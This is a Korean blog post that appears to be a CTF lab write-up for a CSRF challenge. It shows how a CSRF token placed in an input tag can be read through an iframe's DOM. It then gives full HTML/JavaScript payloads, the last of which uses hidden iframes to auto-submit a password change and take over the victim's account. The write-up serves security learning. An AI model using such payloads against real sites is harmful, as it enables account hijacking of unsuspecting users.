CSRF 공격 3번 문제 취약점 정리
2023. 5. 25. 14:02ㆍ해킹/CSRF
3번 문제 같은 경우에도 취약점은 똑같다.
약간만 변형된 구조이다.
정보 수정을 하는데, CSRF 공격을 막기 위해 매번 토큰을 생성해주고 있다.
get이던 post던 토큰때문에 공격을 할 수 없다.
하지만, CSRF 토큰을 input 태그에 넣었다는 것이 결정적인 취약점이다.
전에 iframe를 통해서 메인 페이지의 사용자 id를 접근해서 해커의 사이트로 보낸 것 처럼
dom에 접근해서 토큰값을 빼가면 끝이다.
<iframe id = 'frame' src='http://ctf.segfaulthub.com:7777/csrf_3/mypage.php'></iframe>
<form method = 'post' action = 'mypage_update.php'>
<input type = 'text' name = 'pw' id = 'pw'>
<input type = 'text' name = 'csrf_token' id = 'csrf'>
<input type = 'submit'>
</form>
<script>var frame = document.getElementById('frame');
var pw = document.getElementById('pw');
var csrf = document.getElementById('csrf');
frame.onload = function(){var data = frame.contentWindow.document.getElementsByName('csrf_token')[0].value;
pw.value = 'hack';
csrf.value = data;
}
</script>
이런식의 코드를 작성한다.
1. iframe를 이용해 mypage에서 상대방의 csrf 토큰을 발급받는다.
2. 발급받은 토큰을 이용해서 update form에 넣는다.
직접 요청해보자.
수정에 성공했다.
이제 전에 방식과 똑같이 자동화와 iframe 숨김 처리를 한다.
당신은 뽑기에 실패했습니다.
나가서 팔굽혀펴기 100회를 실시하세요.
<iframe id = 'frame' src='http://ctf.segfaulthub.com:7777/csrf_3/mypage.php'
style = 'width: 0; height: 0; board: 0; display: none;'></iframe>
<iframe name = 'frame' style = 'width: 0; height: 0; board: 0; display: none;' sandbox = 'allow-form'></iframe>
<form method = 'post' id = 'form' action = 'mypage_update.php' target='frame'>
<input type = 'hidden' name = 'pw' id = 'pw'>
<input type = 'hidden' name = 'csrf_token' id = 'csrf'>
</form>
<script>var frame = document.getElementById('frame');
var pw = document.getElementById('pw');
var csrf = document.getElementById('csrf');
var form = document.getElementById('form');
frame.onload = function(){var data = frame.contentWindow.document.getElementsByName('csrf_token')[0].value;
pw.value = 'hack4321';
csrf.value = data;
form.submit();
}
</script>
공격 문제 2번에 했던 방식으로 ID까지 알아내고 CSRF 토큰 취약점을 이용해 우회하면 사용자의 계정을 해킹할 수 있다.
'해킹 > CSRF' 카테고리의 다른 글
CSRF 공격 정리 (0) | 2023.05.26 |
---|---|
CSRF 공격 1,2번 문제 취약점 정리 (0) | 2023.05.25 |
게시판 CSRF 공격과 취약점 고치기 2 (0) | 2023.05.22 |